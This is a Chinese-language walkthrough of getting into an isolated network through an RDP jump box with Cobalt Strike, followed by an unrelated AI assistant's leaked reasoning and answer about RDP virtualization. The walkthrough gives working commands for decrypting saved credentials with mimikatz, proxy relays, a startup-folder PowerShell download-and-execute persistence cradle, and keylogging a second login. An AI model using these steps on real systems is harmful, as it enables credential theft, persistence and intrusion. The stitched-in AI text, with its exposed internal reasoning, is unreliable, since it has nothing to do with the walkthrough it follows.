如何使用RDP跳过网络隔离?

RDP跳板渗透实战
本文介绍了一种通过RDP跳板服务器访问隔离网络的方法。利用Cobalt Strike等工具,渗透测试人员能够获取目标网络的RDP凭据,设置代理进行远程连接,并实现对隔离网络的访问。

简介

本文我将向大家演示,如何通过RDP跳转盒进入隔离/受保护的网络。下图是我为该场景制作的拓扑图:

network.jpg

简要说明:

LAN是一种扁平的工作站和服务器网络。

一些服务器(包括RDP跳转盒)无法与Internet连接。

工作站可以通过代理访问Internet。

RDP跳转盒是LAN上唯一可以与“Secret Network(隔离网络)”通话的主机,仅限于3389端口。

rasta-lan.local和secret-lan.local是两种不同的网络。

LAN网段为:10.0.0.0/16;隔离网络网段为:172.16.0.0/24。

通过该方案,渗透测试人员可以在其渗透主机(Windows 10)上打开远程桌面连接,并利用RDP直接连接到隔离/受保护的目标服务器上。

场景预设

我们已有一个名为rasta_mouse的域用户组成员的beacon(信标)。通过查询目标服务器,以确定哪些用户/组已被授予了RDP访问权限。

beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName  : rasta-lan.local/Jump Box Users
IsDomain     : True
IsGroup      : True
SID          : S-1-5-21-2294392343-2072776990-791666979-1106

谁是Jump Box(跳转盒)用户组的成员?

beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain  : rasta-lan.local
GroupName    : Jump Box Users
MemberDomain : rasta-lan.local
MemberName   : rasta_mouse_adm
MemberSID    : S-1-5-21-2294392343-2072776990-791666979-1107 IsGroup : False MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

rasta_mouse有两个单独的帐户,这意味着我们需要获取到rasta_mouse_adm的账户凭据才能继续我们下一步的操作。这里我将探讨两种可能的方法。

凭据管理器 & DPAPI

如果用户选择了保存RDP凭据,并且你也有SeDebugPrivilege权限来执行此操作,那么这将是最有趣和有效的办法。

在凭据管理器GUI中的Windows凭据:

cred-manager.jpg

你也可以在命令行上获取:

beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/rdp01
Identity: LAN\rasta_mouse_adm
Hidden: No
Roaming: No Property (schema element id,value): (100,2)

这些凭据存储在用户目录C:\Users\<username>\AppData\Local\Microsoft\Credentials\*中。

beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
    Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-       02/09/2017     13:37            412 2647629F5AA74CD934ECD2F88D64ECD0
-a-hs-       30/08/2017     19:28          11204 DFBE70A7E5CC19A398EBF1B96859CE5D

现在我们来查看C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 。

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000030 - 48 szDescription : Local Credential Data algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : be072ec0f54a6ceaffd09fe2275d72f9 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : a3579f9e295013432807757d3bcdf82e dwDataLen : 000000d8 - 216 pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb dwSignLen : 00000014 - 20 pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

以上我们需要关注的是pbData和guidMasterKey的信息。pbData是我们要解密的数据,guidMasterKey是解密所需要的密钥。

这里LSASS已经在其缓存中存有这个key – 因此我们可以使用SeDebugPrivilege获取。

beacon> mimikatz !sekurlsa::dpapi

在输出信息中,我们找到了我们需要的GUID和关联的MasterKey。

[00000000]
     * GUID      :  {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
     * Time      :  02/09/2017 13:37:51
     * MasterKey :  95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
     * sha1(key) :  89f35906909d78c84ba64af38a2bd0d1d96a0726

如果我们在交互模式下运行mimikatz,它会自动将这些密钥添加到我们的dpapi缓存中,并在尝试解密凭据时使用它们。但是,通过Cobalt Strike运行mimikatz不允许我们保留相同的会话(至少我不知道该如何保留)。所以,我们必须要拿到key并手动使用它。

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Decrypting Credential:
 * masterkey     : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
**CREDENTIAL**
  credFlags      : 00000030 - 48 credSize : 000000d2 - 210 credUnk0 : 00000000 - 0 Type : 00000002 - 2 - domain_password Flags : 00000000 - 0 LastWritten : 02/09/2017 12:37:44 unkFlagsOrSize : 00000030 - 48 Persist : 00000002 - 2 - local_machine AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:target=TERMSRV/rdp01 UnkData : (null) Comment : (null) TargetAlias : (null) UserName : LAN\rasta_mouse_adm CredentialBlob : Sup3rAw3s0m3Passw0rd! <--- BOOM! Attributes : 0

RDP01

这些凭据将用于RDP进入跳转盒 – 因为是直接从我们的渗透机器上这样做。所以,我们先在我们当前的信标上设置一个SOCKS代理。

beacon> socks 1337
[+] started SOCKS4a server on: 1337
  • SSH进入你的Teamserver,并安装socat和proxychains(如果还未安装)。
  • 修改proxychains.conf配置文件,以在端口1337上使用127.0.0.1。
  • 然后用proxychains运行socat – > proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389。

这将允许我们的Teamserver在3389端口监听,任何进入该该端口的流量,都将被重定向到socks代理10.0.0.100:3389上。

现在,我们已经RDP到了我们的Teamserver的IP地址,我们应该已经在jump box上了…

rdp01.jpg

Persistence

为了保持对该服务器的持久访问,我们可以进行简单的设置,以便当真正的rasta_mouse_adm用户连接时, 我们可以获取到一个SMB Beacon。

操作步骤如下:

  • 创建一个无状态PowerShell SMB Beacon payload。
  • 在你的Teamserver((web delivery))上将其托管在/smb。
  • 在我们当前的beacon创建一个Reverse Port Foward -> rportfwd 8080 178.62.56.134 80。
  • 创建C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat,并写入以下内容:
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
  • 注销RDP会话。

当真正的用户登录时,我们将会在我们屏幕上获取到以下信息:

09/02 14:19:45 visit from: 178.62.56.134  Request: GET /smb page Serves /opt/cobaltstrike/uploads/beacon.ps1 null

让我们连接到beacon。

beacon> link 10.0.0.100 [+] established link to child beacon: 10.0.0.100

link.jpg

注意:如果用户注销了,我们将会失去beacon;如果仅仅只是断开连接,那么我们将保持连接。

SECRET

现在我们已经在jump box上了,我们的目标是SECRET。那么,我们该如何进入SECRET呢?

你实际上我们可以通过键盘记录来获取到我们想要的信息,如下:

beacon> keylogger 1816 x64
Start menu
=======
remo
Remote Desktop Connection
=======
172.16.0.10
Windows Security
=======
SECRET\rasta_mouse[tab]Passw0rd!

停止当前Beacon中的SOCKS代理,以及Teamserver上的proxychains/socat。

在jump box上启动一个新的SOCKS代理(你可以使用相同的端口)。

在你的Teamserver上运行proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389。

像之前一样,RDP到Teamsever IP,我们将直接进入到SECRET。

mo1.jpg

总结

不要保存RDP凭据在jump boxes上,建议使用双因素身份认证。DPAPI没有足够的保护。https://t.co/1lBySQcVYt

— Matthew Dunwoody (@matthewdunwoody) September 2, 2017

转载于:https://www.cnblogs.com/h2zZhou/p/7494249.html

<think>好的,用户现在问的是“Rdp虚拟化是什么?”。之前的对话历史显示,他们遇到了在Windows 7远程控制Windows Server 2003时,调用waveInOpen方法报错的问题,我给出了排查步骤,其中提到了RDP虚拟化可能的影响。现在用户进一步询问RDP虚拟化的概念,需要详细解释。 首先,我需要明确用户可能的背景。他们可能是一位开发人员或者系统管理员,在使用远程桌面时遇到了音频相关的问题,因此想了解RDP虚拟化的机制。用户可能希望理解为什么远程环境中的硬件访问会出问题,以及RDP虚拟化在此过程中扮演的角色。 接下来,我需要确保回答准确且易于理解。RDP虚拟化指的是远程桌面协议中的资源虚拟化技术,尤其是硬件设备的虚拟化。需要解释清楚它如何将本地设备映射到远程会话,以及这种映射带来的好处和限制。同时,结合用户之前的问题,可能需要说明为什么音频设备在远程会话中会出现问题,比如驱动不兼容或虚拟通道的限制。 另外,用户可能对技术细节感兴趣,比如虚拟通道的分类或数据传输机制,但也要避免过于深奥。需要分点说明核心概念、工作机制、应用场景、限制和优化方法,这样结构清晰,便于用户逐步理解。 还要注意之前的回答中提到的错误排查步骤,特别是与音频重定向相关的设置,所以在这里需要强调RDP虚拟化在音频处理上的具体应用,比如音频重定向如何工作,为什么可能出现驱动不支持的情况,以及为什么建议检查虚拟机配置或物理机测试。 最后,要确保回答符合用户的要求:使用中文,结构清晰,分步骤解释,使用适当的LaTeX格式,如独立公式用$$...$$,行内公式用$...$。例如,在解释虚拟通道时,可以用公式表示数据传输路径,增强专业性。 需要检查是否有遗漏的关键点,比如RDP虚拟化的其他资源虚拟化(如打印机、USB设备),以及安全性方面的考虑,如数据加密。同时,要指出其限制,比如对某些硬件访问的模拟不足,导致API调用失败,如用户遇到的waveInOpen错误。 总结回答的结构:定义、工作机制、主要功能、技术特点、应用场景、局限性、优化建议。确保每个部分简明扼要,使用例子帮助理解,比如视频会议中的摄像头重定向,或者文件传输的虚拟磁盘映射。 可能还需要比较其他远程协议,如VNC或Citrix,但用户没有问这个,所以简要提及即可,重点放在RDP上。最后,联系到用户之前的问题,说明为什么了解RDP虚拟化有助于解决他们的音频接口调用问题,比如驱动不匹配或虚拟通道配置不当。</think>以下是关于**RDP虚拟化**的详细解析: --- ### 一、核心定义 **RDP虚拟化(Remote Desktop Protocol Virtualization)** 是微软远程桌面协议(RDP)中的核心技术,它通过虚拟化手段将本地硬件资源(如声卡、摄像头、磁盘等)**映射**到远程会话中,使远程系统能够“感知”并使用这些设备,而无需物理存在于远程主机上。 其核心公式可抽象为: $$ \text{本地资源} \xrightarrow{\text{虚拟通道}} \text{远程会话} $$ --- ### 二、工作机制 1. **虚拟通道(Virtual Channels)** - RDP协议通过**动态虚拟通道(DVCs)**传输特定设备数据 - 例如: - 音频虚拟通道:传输麦克风输入/扬声器输出 - 剪贴板虚拟通道:同步本地与远程剪贴板 - 磁盘虚拟通道:映射本地驱动器到远程会话 2. **设备重定向** - **输入设备**:键盘/鼠标事件 → 封装为RDP数据包 → 远程系统响应 - **输出设备**:远程图形渲染 → 压缩传输 → 本地显示 --- ### 三、主要功能 | 功能类型 | 典型应用场景 | 技术实现 | |------------------|------------------------------|-----------------------------------| | **音频重定向** | 远程会议系统 | 虚拟声卡驱动 + 音频流压缩 | | **打印机映射** | 远程打印文档 | 虚拟打印机驱动 + 后台传输队列 | | **USB设备穿透** | 使用本地U盾访问远程金融系统 | USB over RDP 协议扩展 | | **图形加速** | 远程运行CAD/3D软件 | RemoteFX 技术 + GPU虚拟化 | --- ### 四、技术特点 1. **协议分层架构** ```plaintext +------------------------+ | 应用层 (API调用) | ← 用户程序(如您的C++音频应用) +------------------------+ | 虚拟设备层 (重定向驱动) | ← 生成虚拟声卡/摄像头等 +------------------------+ | 传输层 (RDP核心协议) | ← 加密压缩数据流 +------------------------+ ``` 2. **带宽优化机制** - 动态调整压缩率(例如:优先保障音频流,降低图像质量) - 缓存复用技术(减少重复数据传输) --- ### 五、局限性 1. **硬件访问限制** - 部分底层API(如`waveInOpen`)可能因以下原因失败: - 虚拟驱动未正确加载 - 远程系统缺乏对应硬件抽象层 - 示例错误:`MMSYSERR_NODRIVER`(代码0x0005) 2. **兼容性问题** - 旧系统(如Windows Server 2003)对新型虚拟化技术支持有限 - 虚拟机嵌套时可能出现二次虚拟化冲突 --- ### 六、调试建议(针对开发场景) 1. **本地化测试** ```powershell # 在远程服务器上直接运行程序(非RDP连接) # 若成功,则问题出在RDP虚拟化环节 ``` 2. **日志分析** - 启用RDP诊断日志: ``` reg add "HKLM\SOFTWARE\Microsoft\Tracing" /v RDP /t REG_DWORD /d 1 /f ``` - 日志路径:`%SystemRoot%\tracing\*.log` --- ### 七、扩展应用 - **云计算场景**:Azure虚拟桌面(AVD)基于RDP虚拟化实现多用户资源隔离 - **工业控制**:通过RDP重定向PLC编程接口到远程工程师站 --- **总结**:RDP虚拟化通过抽象层弥合了本地与远程环境间的硬件差异,但其虚拟驱动实现可能影响底层API调用。在您遇到的`waveInOpen`错误案例中,建议优先检查虚拟声卡驱动的加载状态及远程音频重定向配置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值